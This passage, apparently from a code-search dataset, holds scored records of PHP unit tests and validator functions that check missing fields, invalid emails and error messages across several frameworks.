\"merge empty field #2\");\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a]</b>\", array('a'=>FALSE), \"<b></b>\", \"merge empty field #3\");\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a]</b>\", array('a'=>null), \"<b></b>\", \"merge empty field #4\");\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a.b]</b>\", array('a'=>array('b'=>'')), \"<b></b>\", \"merge empty field #5\");\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a.empty]</b>\", array('a'=>$this), \"<b></b>\", \"merge empty field #6\");\r\n\r\n\t\t// test non existing fields with empty value\r\n\t\t$this->assertErrorMergeFieldString(\"<b>[a.c]</b>\", array('a'=>array('b'=>'')), \"merge non existing field #1\");\r\n\t\t$this->assertErrorMergeFieldString(\"<b>[a.c]</b>\", array('a'=>array($this)), \"merge non existing field #2\");\r\n\t\t$this->assertErrorMergeFieldString(\"<b>[a.c]</b>\", array('a'=>''), \"merge non existing field #3\");\r\n\r\n\t\t// same as previous but with 'noerr' parameter\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a.c;noerr]</b>\", array('a'=>array('b'=>'')), \"<b></b>\", \"merge non existing field with noerr #1a\");\r\n\t\t$this->assertNoTbsError(\"merge non existing field with noerr #1b\");\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a.c;noerr]</b>\", array('a'=>array($this)), \"<b></b>\", \"merge non existing field with noerr #2b\");\r\n\t\t$this->assertNoTbsError(\"merge non existing field with noerr #2b\");\r\n\t\t$this->assertEqualMergeFieldStrings(\"<b>[a.c;noerr]</b>\", array('a'=>''), \"<b></b>\", \"merge non existing field with noerr #3c\");\r\n\t\t$this->assertNoTbsError(\"merge non existing field with noerr #3b\");\r\n\t}", "title": "" }, { "docid": "7b5a4661ffadd8449f5d0013b5e1a0d3", "score": "0.54032516", "text": "public function testMissingRequiredField()\n {\n\n $data = $this->getPayload();\n\n foreach (array_keys($data) as $keyToRemove) {\n\n // password_confirmation field is not required,\n // it must only match password field.\n if ($keyToRemove === \"password_confirmation\") {\n continue;\n }\n\n $response =\n $this->post(\n route(\n \"register\",\n array_filter(\n $data,\n function ($key) use ($keyToRemove) {\n return $key !== $keyToRemove;\n },\n ARRAY_FILTER_USE_KEY\n )\n )\n );\n\n $response->assertSessionHasErrors([$keyToRemove]);\n\n $this->assertDatabaseMissing(\"users\", [\"id\" => 1]);\n $this->assertDatabaseMissing(\"students\", [\"id\" => 1]);\n\n $this->assertGuest();\n\n }\n\n }", "title": "" }, { "docid": "16d84bdd8b8a46788f6afd24217ca934", "score": "0.53988004", "text": "function validator_units_match_type_generate_msg($error_info) {\n $messages = array();\n\n foreach($error_info as $column_name => $rows) {\n\n // Expand each row.\n $parts = array();\n foreach ($rows as $row_index => $error) {\n $parts[] = '\"' . $error['value'] .'\" (line '.$row_index.')';\n $unit_name = $error['unit'];\n }\n\n // We want our messages consistent but helpful thus we need to provide some\n // customization to the message based on the unit.\n $unit_msg = '';\n switch($unit_name) {\n case 'date':\n $unit_name = 'date(s)';\n $unit_msg = 'We expect the date to be YYYY-MM-DD and to have occured in the past.';\n break;\n case 'count':\n $unit_name = 'count(s)';\n $unit_msg = 'We expect positive whole numbers.';\n break;\n case 'days':\n $unit_name = 'day(s)';\n $unit_msg = 'We expect positive whole numbers.';\n break;\n case 'cm':\n $unit_name = 'centimeters';\n break;\n case 'g':\n $unit_name = 'grams';\n break;\n case 'y/n/?':\n break;\n case 'scale':\n $unit_name = 'within the scale';\n $unit_msg . 'It should be a whole number between 1 and 5 where 1 indicates most plants are fully upright and 5 indicates most plants are fully prostrate/flat.';\n break;\n case 'text':\n }\n\n // Combine all the parts into a full message.\n $messages[] = \"The following values in \\\"$column_name\\\" are not $unit_name: \" . implode(', ', $parts) . '. ' . $unit_msg;\n }\n\n return $messages;\n}", "title": "" }, { "docid": "ffff38ffd09fe0445ba2ba1d60d68f76", "score": "0.5397249", "text": "function validator_required_info_generate_msg($error_info) {\n $messages = array();\n\n // For each column with missing values.\n foreach ($error_info as $column => $rows) {\n\n // Find the parts and separate the messages.\n $empty_parts = array();\n $dup_parts = array();\n foreach ($rows as $row_index => $info) {\n if ($info['code'] == 1) {\n $empty_parts[] = $row_index;\n }\n elseif ($info['code'] == 2) {\n $dup_parts[ $info['value'] ] = '\"' . $info['value'] . '\" on lines ' . implode(', ', $info['rows']);\n }\n }\n\n // Generate the empty message.\n if (!empty($empty_parts)) {\n $msg = \"You need to supply non-negative values for \\\"$column\\\" on row\";\n\n // pluralize rows if there are more than one with an empty value.\n if (sizeof($empty_parts) > 1) { $msg .= 's'; }\n\n // Add the row numbers to the message.\n $msg .= ' ' . implode(', ',$empty_parts) . '.';\n\n $messages[] = $msg;\n\n }\n\n // Generate the duplicate values message.\n if (!empty($dup_parts)) {\n // When Plot - message should indicate when/where should it be unique.\n $more_info = '.';\n if ($column == 'Plot') {\n $more_info = ' in a given Year in the Planting Date (date) and Location.';\n }\n\n $placeholder = (sizeof($dup_parts) > 1) ? 'values are' : 'value is';\n $msg = \"The \\\"$column\\\" should be unique$more_info The following $placeholder duplicated: \"\n . implode('; ', $dup_parts) . '.';\n $messages[] = $msg;\n }\n\n }\n\n return $messages;\n}", "title": "" }, { "docid": "832a59c9c4c8098b71bdda7dbd0288d5", "score": "0.53958046", "text": "public function testPromotionalSmsMandatoryFieldsMissingMessageStringMobile()\n {\n $sendArray = [\n 'sender' => 'UTOOWE',\n ];\n $verifyResponse = $this->PromotionalSms->sendPromotional(\"919514028541,919791466728\", $sendArray);\n }", "title": "" }, { "docid": "fb8c2e5ccdd5d6d601482556c7c10c2d", "score": "0.5389705", "text": "public function testIncompleteMessage() {\n\t\t$message = $this->getMessage();\n\t\tunset( $message['payment_method'] );\n\t\t$this->consumer->processMessage( $message );\n\t}", "title": "" }, { "docid": "c73e9228e12add51bf31af5f951b602f", "score": "0.53807724", "text": "public function testGenerateMessageMatchingWithMapping()\n {\n $webhook = factory(Webhook::class)->create();\n factory(Mapping::class)->create(['webhook_id' => $webhook->id, 'key' => 'qtv', 'value' => '[To:123123] QTV']);\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'Hello, my name is {{ name }}';\n $params = ['name' => 'qtv'];\n\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n\n $this->assertEquals('Hello, my name is [To:123123] QTV', $result);\n }", "title": "" }, { "docid": "b18df9de9c6dc2b3e94e87b2fadc1637", "score": "0.5378852", "text": "public function testingBadField()\n {\n $this->expectException(\\InvalidArgumentException::class);\n\n $db = new \\Filebase\\Database([\n 'dir' => __DIR__.'/databases/users_1',\n 'cache' => false\n ]);\n\n // FIRST TEST\n $db->flush(true);\n\n $user = $db->get(uniqid());\n $user->name = 'John';\n $user->save();\n\n // standard matches\n $query = $db->query()->where('','=','John')->results();\n\n $db->flush(true);\n }", "title": "" }, { "docid": "3fab6b84c61a7e5c74f2ba38da88b595", "score": "0.5360562", "text": "function testAutoGenReturnsFalseIfFixtureHasNotDefinedFieldsProperty() {\n\t\t$result = $this->_basicFix->autoGen();\n\t\t$this->assertFalse($result);\n\t}", "title": "" }, { "docid": "7dad885717ecc66ab3a3665350b8ce24", "score": "0.5355498", "text": "public function testInvalidSubmissionFieldsMissing($field, $parent = 'attributes', $message = null)\n {\n $data = json_decode(json_encode($this->validSubmission));\n\n $data->attributes->domain = 'www.phptest'.time().'.com';\n\n $data->attributes->contact_set = new \\stdClass();\n $data->attributes->contact_set->owner = new \\stdClass();\n\n $data->attributes->contact_set->owner->first_name = 'John';\n $data->attributes->contact_set->owner->last_name = 'Smith';\n $data->attributes->contact_set->owner->org_name = 'Tucows';\n $data->attributes->contact_set->owner->address1 = '96 Mowat Avenue';\n $data->attributes->contact_set->owner->address2 = '';\n $data->attributes->contact_set->owner->address3 = '';\n $data->attributes->contact_set->owner->city = 'Toronto';\n $data->attributes->contact_set->owner->state = 'ON';\n $data->attributes->contact_set->owner->country = 'CA';\n $data->attributes->contact_set->owner->postal_code = 'M6K 3M1';\n $data->attributes->contact_set->owner->phone = '+1.4165350123';\n $data->attributes->contact_set->owner->email = '[email protected]';\n $data->attributes->contact_set->owner->lang_pref = 'EN';\n\n // We're going to use the same contact for all 4\n // contact types, but we still need to assign\n // it to each element on the data object\n $data->attributes->contact_set->admin = $data->attributes->contact_set->owner;\n $data->attributes->contact_set->tech = $data->attributes->contact_set->owner;\n $data->attributes->contact_set->billing = $data->attributes->contact_set->owner;\n\n $data->attributes->custom_nameservers = '0';\n $data->attributes->custom_tech_contact = '0';\n $data->attributes->handle = 'save';\n $data->attributes->period = '1';\n $data->attributes->reg_username = 'phptest'.time();\n $data->attributes->reg_password = 'password1234';\n $data->attributes->reg_type = 'new';\n\n if (is_null($message)) {\n $this->setExpectedExceptionRegExp(\n 'opensrs\\Exception',\n \"/$field.*not defined/\"\n );\n } else {\n $this->setExpectedExceptionRegExp(\n 'opensrs\\Exception',\n \"/$message/\"\n );\n }\n\n // clear field being tested\n if (is_null($parent)) {\n unset($data->$field);\n } else {\n unset($data->$parent->$field);\n }\n\n $ns = new SWRegister('array', $data);\n }", "title": "" }, { "docid": "ae10f8625edcefa79c32b77eeb581561", "score": "0.53476053", "text": "function testRetrieveSingleTestDataFieldThrowsExceptionIfFieldNameIsNotAString() {\n\t\t$this->setExpectedException('ErrorException');\n\t\t$this->_testFix->getField(array());\n\t}", "title": "" }, { "docid": "8641422a26398579d9e2fae420d370fd", "score": "0.5345902", "text": "public function testNotStrings(): void\n {\n $values = [\n 1,\n 1.4,\n null,\n new stdClass(),\n true,\n false,\n ];\n\n foreach ($values as $value) {\n $this->assertFalse($this->validator->isValid($value));\n $messages = $this->validator->getMessages();\n $this->assertStringContainsString('String expected', current($messages));\n }\n }", "title": "" }, { "docid": "eb4dcfbbe0e237d28e263ec8946b84c0", "score": "0.53450555", "text": "public function message(): string\n {\n return __('The :attribute must be a unique combination.');\n }", "title": "" }, { "docid": "666bb0d202af4541a2c7977caf40372a", "score": "0.5344998", "text": "public function testGetMessage()\n {\n $this->assertEquals('This URL key is invalid.', $this->urlKeyValidatorObject->getMessage());\n }", "title": "" }, { "docid": "bc1bdbf5598a1aac89d3bed6cd531b3e", "score": "0.5343556", "text": "public function testSubscribingWithWrongInputs()\n {\n oxRegistry::getLang()->setBaseLanguage(1);\n $oTestNews = oxNew(\"NewsLetter\");\n $aParams = array();\n\n // no email\n $aParams['oxuser__oxusername'] = '';\n $this->setRequestParameter('editval', $aParams);\n\n $oTestNews->send();\n $aErrors = oxRegistry::getSession()->getVariable('Errors');\n $oErr = unserialize($aErrors['default'][0]);\n $this->assertEquals(oxRegistry::getLang()->translateString('ERROR_MESSAGE_COMPLETE_FIELDS_CORRECTLY'), $oErr->getOxMessage());\n\n //reseting errors\n $this->getSession()->setVariable('Errors', null);\n\n // wrong email\n $aParams['oxuser__oxusername'] = 'aaaaaa@';\n $this->setRequestParameter('editval', $aParams);\n $oTestNews->send();\n\n $aErrors = oxRegistry::getSession()->getVariable('Errors');\n $oErr = unserialize($aErrors['default'][0]);\n $this->assertEquals(oxRegistry::getLang()->translateString('MESSAGE_INVALID_EMAIL'), $oErr->getOxMessage());\n }", "title": "" }, { "docid": "2ebbf7901781fbfe249026a45555b697", "score": "0.534156", "text": "public function testEmail_invalid_format_case1()\n {\n $faker = Faker\\Factory::create();\n $this->visit(route('login'));\n $this->type('admin', 'loginID');\n $this->type('12345678', 'password');\n $this->press('Login');\n $this->visit(route('employees.create'));\n $this->type($faker->name,'name');\n $this->type('xmal.com','email');\n $this->type($faker->address,'address');\n $this->type(rand(0,9999).'-'.rand(0,9999).'-'.rand(0,9999),'phone');\n $this->press('Register');\n $this->see('Email field invalids format');\n }", "title": "" }, { "docid": "50d595f450a093b9ec07f89e0a8f7ade", "score": "0.5334896", "text": "static function randFieldsMissing()\r\n\t{\r\n\t\tglobal $Proj;\r\n\t\t// Collect missing fields in array\r\n\t\t$missingFields = array();\r\n\t\t// Get rand attributes\r\n\t\t$randAttr = self::getRandomizationAttributes();\r\n\t\t// Check target field first\r\n\t\tif (!isset($Proj->metadata[$randAttr['targetField']])) {\r\n\t\t\t$missingFields[] = $randAttr['targetField'];\r\n\t\t}\r\n\t\t// Check strata\r\n\t\tforeach (array_keys($randAttr['strata']) as $field) {\r\n\t\t\tif (!isset($Proj->metadata[$field])) {\r\n\t\t\t\t$missingFields[] = $field;\r\n\t\t\t}\r\n\t\t}\r\n\t\t// Return array\r\n\t\treturn $missingFields;\r\n\t}", "title": "" }, { "docid": "3975e4461ecf274b9cf88da0aa97045d", "score": "0.5331193", "text": "function testBugs() {\r\n\t\t// $this->assertErrorMergeFieldString(\"<b>[a]</b>\", array('a'=>array()), \"merge array value with bad syntax #1\"); // should display an error\r\n\t\t// $this->assertEqualMergeFieldStrings(\"<b>[a;noerr]</b>\", array('a'=>array()), \"<b></b>\", \"merge array value with bad syntax #2\"); // should not display an error and skip field content ?\r\n\r\n\t\t// should work too if remplacing array value by object value !\r\n\t\t// $this->assertErrorMergeFieldString(\"<b>[a]</b>\", array('a'=>$this), \"merge object value with bad syntax #1\"); // should display an error\r\n\t\t// $this->assertEqualMergeFieldStrings(\"<b>[a;noerr]</b>\", array('a'=>$this), \"<b></b>\", \"merge object value with bad syntax #2\"); // should not display an error and skip field content ?\r\n\r\n\t\t// use object method should work !\r\n\t\t// $this->assertEqualMergeFieldStrings(\"<b>[a.test]</b>\", array(), \"<b>[a.test]</b>\", \"merge field with object method #1\");\r\n\t\t// $this->tbs->MergeField('a', array(&$this, 'FieldTestCaseUserMethod'), TRUE);\r\n\t\t// $this->assertEqualMergeString('<b><param1>s:0:\"test\";</param1></b>', \"merge field with object method#2\");\r\n\t}", "title": "" }, { "docid": "585cfe4be6305376438d8b82539df59e", "score": "0.5330072", "text": "public function testInvalidUniqueEmail()\n {\n $this->loadFixtureFiles([\n dirname(__DIR__).'/fixtures/clients.yaml',\n ]);\n $invalidClient = $this->getEntity()->setEmail('[email protected]');\n $this->assertHasErrors($invalidClient, 1);\n }", "title": "" }, { "docid": "6d885082ca082146e3fbeb380630eb04", "score": "0.5310522", "text": "public function testQueryByFieldValueNotEquals()\n\t{\n\t\t//Entry with no real email\n\t\t$this->createEntryWithMockForm();\n\t\t//Create entries for each of two emails\n\t\t$emailOne = '[email protected]';\n\t\t$emailTwo = '[email protected]';\n\t\t$this->createEntryWithEmail( $emailOne );\n\t\t$this->createEntryWithEmail( $emailTwo );\n\n\t\t//Two entries when querying by NOT first email\n\t\t$entryValuesQueryGenerator = $this->entryValuesGeneratorFactory();\n\t\t$this->assertSame( 2, count(\n\t\t\t$this->queryWithWPDB(\n\t\t\t\t$entryValuesQueryGenerator\n\t\t\t\t\t->queryByFieldValue(\n\t\t\t\t\t\t$this->getEmailFieldSlug(),\n\t\t\t\t\t\t$emailOne,\n\t\t\t\t\t\t'notEquals'\n\t\t\t\t\t)\n\t\t\t\t->getPreparedSql()\n\t\t\t)\n\t\t) );\n\n\t\t//Two entries when querying by NOT second email\n\t\t$entryValuesQueryGenerator = $this->entryValuesGeneratorFactory();\n\t\t$this->assertSame( 2, count(\n\t\t\t$this->queryWithWPDB(\n\t\t\t\t$entryValuesQueryGenerator\n\t\t\t\t\t->queryByFieldValue(\n\t\t\t\t\t\t$this->getEmailFieldSlug(),\n\t\t\t\t\t\t$emailTwo,\n\t\t\t\t\t\t'notEquals'\n\t\t\t\t\t)\n\t\t\t\t->getPreparedSql()\n\t\t\t)\n\t\t) );\n\n\t}", "title": "" }, { "docid": "1fb4519c1ca47afe94afafdd5bf50f80", "score": "0.5296718", "text": "public function testEmail_invalid_format_case2()\n {\n $faker = Faker\\Factory::create();\n $this->visit(route('login'));\n $this->type('admin', 'loginID');\n $this->type('12345678', 'password');\n $this->press('Login');\n $this->visit(route('employees.create'));\n $this->type($faker->name,'name');\n $this->type('[email protected]','email');\n $this->type($faker->address,'address');\n $this->type(rand(0,9999).'-'.rand(0,9999).'-'.rand(0,9999),'phone');\n $this->press('Register');\n $this->see('Email field invalids format');\n }", "title": "" }, { "docid": "bfae7ed36f1fe1652ff9466659da3191", "score": "0.5294346", "text": "function testNotObligateFieldsCept(ApiTester $I){\n $I->wantTo('register a user via API');\n $I->haveHttpHeader(RequestRegistration::$httpHeaderContentType, RequestRegistration::$httpHeaderApplicationType);\n $email = time() . '@mail.com';\n\n RequestRegistration::setData($email, '+371 6111111', '111aaa', '1988-06-25T00:00:00.000Z', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua');\n RequestRegistration::setAddress(null, null, null, null, null);\n\n $I->sendPOST(RequestRegistration::getPostData());\n $I->seeResponseCodeIs(\\Codeception\\Util\\HttpCode::OK); // 200\n $I->seeResponseIsJson();\n $I->seeResponseContains('{\"Result\":true,\"Details\":\"none\"}');\n }", "title": "" }, { "docid": "b21053da9e3b0235f7d4bca45ea8db0a", "score": "0.5291549", "text": "public function testGetExtraFieldKey() {\n $role_control_manager = \\Drupal::service('role.control_manager');\n foreach ($this->extraFields as $field_key) {\n $this->assertEquals($field_key, $role_control_manager->getExtraFieldKey($field_key));\n }\n }", "title": "" }, { "docid": "712ad5bb1907d9808174228ebc4a28f7", "score": "0.5290182", "text": "public function testValueInvalid(): void {\n $transform = $this->getTransform('contains', [\n 'collection' => [ 'source' => 'source', 'field' => 'example_collection_source_field' ],\n 'item' => [ 'source' => 'source', 'field' => 'example_item_source_field' ],\n ]);\n $result = $transform->transform([\n 'example_collection_source_field' => [\n 'test',\n 'test1',\n 'test2',\n ],\n 'example_item_source_field' => 'test3'\n ]);\n // Make sure it stays an array\n $this->assertFalse($result);\n }", "title": "" }, { "docid": "8f4a8c9a46de77e3fedcae20a25af4f5", "score": "0.52848905", "text": "public function testGetMessage()\n {\n $chatPostMessageResponseObject = new ChatPostMessageResponse();\n $refChatPostMessageResponseObject = new \\ReflectionObject($chatPostMessageResponseObject);\n $messageProperty = $refChatPostMessageResponseObject->getProperty('message');\n $messageProperty->setAccessible(true);\n $messageProperty->setValue($chatPostMessageResponseObject, $this->dummyArray);\n \n $this->assertEquals($this->dummyArray, $chatPostMessageResponseObject->getMessage());\n }", "title": "" }, { "docid": "1737eca34b8ea78bdef30d635ea9389d", "score": "0.52792424", "text": "public function message()\n {\n return 'The :attribute field contains items that already exist.';\n }", "title": "" }, { "docid": "ad0becbb0c3b5932ba5838ac4e061aa1", "score": "0.52680725", "text": "public function testGenerateSchemaErrorWithSuffixField()\n {\n #create an EtlRecCapProject object from which a schema will be generated\n $configFile = __DIR__.'/../config/visits-missing-suffix.ini';\n $configuration = new TaskConfig();\n $configuration->set(self::$logger, $configFile);\n\n $apiUrl = $configuration->getRedCapApiUrl();\n $apiToken = $configuration->getDataSourceApiToken();\n $sslVerify = false;\n $caCertificateFile = null;\n $errorHandler = null;\n $connection = null;\n $etlRedCapProject = new EtlRedCapProject(\n $apiUrl,\n $apiToken,\n $sslVerify,\n $caCertificateFile,\n $errorHandler,\n $connection\n );\n\n #create a SchemaGenerator object\n $schemaGenerator = new SchemaGenerator($etlRedCapProject, $configuration, self::$logger);\n\n #clear out the log file\n $logFile = $configuration->getLogFile();\n $f = fopen($logFile, \"w\");\n fclose($f);\n\n #Generate the schema\n $rulesText = $configuration->getTransformationRules();\n $result = $schemaGenerator->generateSchema($rulesText);\n\n #test that the error message was written to the log file\n $logText = file_get_contents($logFile, false, null, 0, 500);\n $fieldNotFoundMsg = \"Suffix field not found in REDCap: 'missingSuffixField'\";\n $msgFound = (strpos($logText, $fieldNotFoundMsg) ? true : false);\n $this->assertTrue(\n $msgFound,\n 'SchemaGenerator, generateSchema missing suffix field msg'\n );\n }", "title": "" }, { "docid": "fcf1bcd3af489896069a8f7fc9ae6140", "score": "0.52600145", "text": "function remove_unknown_fields($raw_data, $expected_fields){\n $new_data = array();\n foreach($raw_data as $field_name=> $field_value){\n if($field_value != \"\" && in_array($field_name, array_values($expected_fields))){\n $new_data[$field_name] = $field_value;\n }\n }\n return $new_data;\n }", "title": "" }, { "docid": "0e8616954e6b6e532c0ec6f21400164d", "score": "0.5256516", "text": "public function testInvalidUniqueEmail()\n {\n $invalidCustomer = $this->getEntity()->setEmail('[email protected]');\n $this->assertHasErrors($invalidCustomer, 1);\n }", "title": "" }, { "docid": "b4c007a284dca4090eeba3352398136b", "score": "0.524916", "text": "public function test_quering() {\n $this->\n assert_true($this->field->matches('content-Type'))->\n assert_false($this->field->matches('contentType'));\n }", "title": "" }, { "docid": "6db6c8e9e5523e478289fd9479908313", "score": "0.52394694", "text": "public function test_iteration() {\n $this->asserts->iterating->\n assert_read($this->head, array(\n 0 => new Mail_Message_Field('Subject', 'Prüfung Prüfung'),\n 1 => $to = new Mail_Message_Field('To', '[email protected]'),\n 2 => new Mail_Message_Field('date', 'Thu, 1 Jan 1970 00:00:00 +0000'),\n 3 => new Mail_Message_Field('message-id', '<[email protected]>'),\n 4 => new Mail_Message_Field('Received','from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <[email protected]>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from [email protected])'),\n 5 => new Mail_Message_Field('Received', '(qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000')\n )\n\n );\n }", "title": "" }, { "docid": "64b5c609ed864ae651e43b00d37a13be", "score": "0.5234002", "text": "public function test_building() {\n $this->head->\n field('From', '[email protected]')->\n fields(array('X-Key1' => 'value1', 'X-Key2' => 'value2'));\n $this->asserts->indexing->\n assert_read($this->head, array(\n 'From' => new Mail_Message_Field('From', '[email protected]'),\n 'X-Key1' => new Mail_Message_Field('X-Key1', 'value1'),\n 'X-Key2' => new Mail_Message_Field('X-Key2', 'value2'),\n ));\n }", "title": "" }, { "docid": "0fe7538ae02af602bd54c9902e692758", "score": "0.52334976", "text": "public function it_not_convert_duplicated_order()\n {\n $orderId = $this->faker->uuid;\n $api = new ConversionRequest($this->config['buzzlead']);\n $api->setOrderForm(new OrderForm([\n 'codigo' => $this->ambassador['voucher'],\n 'pedido' => $orderId,\n 'total' => 200,\n 'nome' => $this->faker->name,\n 'email' => $this->fakeEmail(),\n ]));\n $response = $api->send();\n $this->assertTrue($response->hasSuccess());\n\n $this->expectException(OrderAlreadyConvertedException::class);\n $this->expectExceptionMessage('Bônus já confirmado para esse e-mail ou pedido. Não foi contabilizado bônus para essa conversão.');\n $api->send();\n }", "title": "" }, { "docid": "b4a5e658bd9381a45616b12a614f9139", "score": "0.5228702", "text": "public function testErrorsMail()\n {\n $goodData = $this->goodData;\n $badData = $goodData;\n $badData['email'] = 'whalter';\n\n $user = $this->Users->newEntity();\n $user = $this->Users->patchEntity($user, $badData);\n $this->assertFalse($this->Users->save($user), 'Bad email implies non saving');\n\n $badData['email'] = '[email protected]';\n $user = $this->Users->patchEntity($user, $badData);\n $this->assertFalse($this->Users->save($user), 'Email must be unique');\n }", "title": "" }, { "docid": "4e6fe11d78fe0798d553a48257f0b784", "score": "0.52275306", "text": "public function testInvalidSubmissionFieldsMissing()\n {\n $data = new \\stdClass();\n $data->attributes = new \\stdClass();\n\n $this->setExpectedExceptionRegExp(\n 'opensrs\\Exception',\n '/(order_id|product_id).*not defined/'\n );\n\n $ns = new RequestOnDemandScan('array', $data);\n }", "title": "" }, { "docid": "7af66ce045b89e90ba86bd20f579849f", "score": "0.5226373", "text": "public function testNotEmpty() {\n\t\t$frameId = 1;\n\t\t$blockId = '141';\n\n\t\t//Checkカラム\n\t\t$fields = array(\n\t\t\t'url' => sprintf(__d('net_commons', 'Please input %s.'), __d('iframes', 'URL')),\n\t\t);\n\t\t//Check項目\n\t\t$checks = array(\n\t\t\tnull, '', false,\n\t\t);\n\n\t\tforeach ($fields as $field => $message) {\n\t\t\t//データ生成\n\t\t\t$data = Hash::merge(\n\t\t\t\t$this->__default,\n\t\t\t\tarray(\n\t\t\t\t\t'Frame' => array('id' => $frameId),\n\t\t\t\t\t'Block' => array('id' => $blockId),\n\t\t\t\t\t'Iframe' => array('block_id' => $blockId),\n\t\t\t\t)\n\t\t\t);\n\n\t\t\t//期待値\n\t\t\t$expected = array(\n\t\t\t\t$field => array($message)\n\t\t\t);\n\n\t\t\t//テスト実施(カラムなし)\n\t\t\tunset($data['Iframe'][$field]);\n\t\t\t$this->__assertSave($field, $data, $expected);\n\n\t\t\t//テスト実施\n\t\t\tforeach ($checks as $check) {\n\t\t\t\t$data['Iframe'][$field] = $check;\n\t\t\t\t$this->__assertSave($field, $data, $expected);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "3f160ca3c5d317db42a4b21c72df2894", "score": "0.5215981", "text": "public function testGenerateMessageByRegexWithFieldIsArray()\n {\n $webhook = factory(Webhook::class)->create();\n factory(Mapping::class)->create(['webhook_id' => $webhook->id, 'key' => 'qtv', 'value' => '[To:123123] QTV']);\n $forwardChatworkService = new ForwardChatworkService(\n $webhook,\n '',\n new PayloadHistoryRepository(),\n new MessageHistoryRepository()\n );\n $content = 'This is a message: [[ message ]].';\n $params = ['message' => ['sms' => 'Hello @qtv']];\n\n $result = $forwardChatworkService->generateMessage($content, $params);\n\n $this->assertEquals('This is a message: {\"sms\":\"Hello [To:123123] QTV\"}.', $result);\n }", "title": "" }, { "docid": "505aabf84c9145354bacc36661807b53", "score": "0.52155435", "text": "public function testMappableFieldIsPresentForAllSubscriptionData ()\n\t{\n\t\t$this->markTestSkipped();\n\t}", "title": "" }, { "docid": "eda57346020ff68d7ce0b26c6c7e465d", "score": "0.52136827", "text": "function testGenerateMethodMakesRandomStringDoesNotDuplicate() {\n\t\t$newData = array();\n\t\t$duplicateCount = 0;\n\t\t$loopNum = 500;\n\t\tfor($i=0;$i<$loopNum;$i++) {\n\t\t\t$newData[] = $this->_basicFix->generate();\n\t\t}\n\t\tforeach ($newData as $data) {\n\t\t\t$duplicateCount = 0;\n\t\t\tfor($i=0;$i<$loopNum;$i++) {\n\t\t\t\t//echo $data . ' - ' .$newData[$i].PHP_EOL;\n\t\t\t\tif( $newData[$i] === $data) {\n\t\t\t\t\t$duplicateCount++;\n\t\t\t\t}\n\t\t\t\tif($duplicateCount >=2) {\n\t\t\t\t\t$this->fail($duplicateCount .' duplicate entries ' .$data .' - ' .$newData[$i]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "30c3d9e71dca76fb20c6771b5dc002e3", "score": "0.5209799", "text": "private function jquery_validate_uuid($model, $field, $params, $msg) {\nreturn '';\n$response['messages']['uuid'] = $msg;\n$response['uuid'] = \"true\";\nreturn $response;\n }", "title": "" }, { "docid": "56c4b7429e1642e4a2362982aff40a31", "score": "0.52051646", "text": "public function testInvalidEMail()\n {\n\n foreach ([\"[email protected]\", \"example.com\", \"\"] as $fieldValue) {\n\n $payload = $this->getPayload();\n $payload[\"email\"] = $fieldValue;\n $response = $this->post(route(\"register\", $payload));\n\n $response->assertSessionHasErrors([\"email\"]);\n\n $this->assertDatabaseMissing(\"users\", [\"id\" => 5]);\n $this->assertDatabaseMissing(\"students\", [\"id\" => 3]);\n\n $this->assertGuest();\n\n }\n\n }", "title": "" }, { "docid": "8dd958745f07732d2e49d7898807717d", "score": "0.5203924", "text": "public function test_processMatchFailure()\n {\n $this->_filter->setRegexp(\"/art/\");\n $values = array(\"no\", \"\", \"blah\", array(), new stdClass());\n foreach ($values as $value) {\n $result = $this->_filter->process($value);\n $messages = $this->_filter->getMessages();\n\n $this->assertFalse($result);\n $this->assertType(\"bool\", $result);\n $this->assertType(\"array\", $messages);\n $this->assertTrue((count($messages) > 0));\n }\n }", "title": "" }, { "docid": "9b2ebd8b02c382699c93fba76b9eecd5", "score": "0.520157", "text": "public function testValidateFieldBadCase() {\n $method = new ReflectionMethod(\n 'RecordValidator', '__validateField'\n );\n $method->setAccessible(true);\n $method->invoke($this->yamlRules, $this->emptyRecords);\n $this->assertNotEmpty($this->yamlRules->errors);\n }", "title": "" }, { "docid": "e5f7f6b9331cb70af39b3c768c6b659c", "score": "0.5200963", "text": "public function testNoLowerCaseInPassword()\n {\n $crawler= $this->crawler;\n $form= $this->form;\n $client = $this->client;\n\n $this->assertEquals('New Member', $crawler->filter('title')->text());\n\n $form = $crawler->selectButton('Submit')->form();\n\n\n $form['member[password][first]']->setValue(\"MAXXY34\");\n $form['member[password][second]']->setValue(\"MAXXY34\");\n\n\n $client->submit($form);\n\n\n $this->assertEquals(200, $client->getResponse()->getStatusCode());\n $this->assertContains('<li>Password must consist of one upper-case, one-lower-case, one number',\n $client->getResponse()->getContent());\n }", "title": "" }, { "docid": "5f21ffe5f98155ea4ed7a14760313278", "score": "0.51956624", "text": "public function testCustomMessagesAreRecognize()\n\t{\n\t\t$messages = array('required' => 'Required!');\n\t\t$rules = array('name' => 'required');\n\t\t$v = Validator::make(array(), $rules, $messages);\n\t\t$v->valid();\n\t\t$this->assertEquals('Required!', $v->errors->first('name'));\n\n\t\t$messages['email_required'] = 'Email Required!';\n\t\t$rules = array('name' => 'required', 'email' => 'required');\n\t\t$v = Validator::make(array(), $rules, $messages);\n\t\t$v->valid();\n\t\t$this->assertEquals('Required!', $v->errors->first('name'));\n\t\t$this->assertEquals('Email Required!', $v->errors->first('email'));\n\n\t\t$rules = array('custom' => 'required');\n\t\t$v = Validator::make(array(), $rules);\n\t\t$v->valid();\n\t\t$this->assertEquals('This field is required!', $v->errors->first('custom'));\n\t}", "title": "" }, { "docid": "a8cbaad44e92759c13266da991392620", "score": "0.51888657", "text": "public function test_user_create_customfield_messages($uitype, $value, $message, $otherparams) {\n 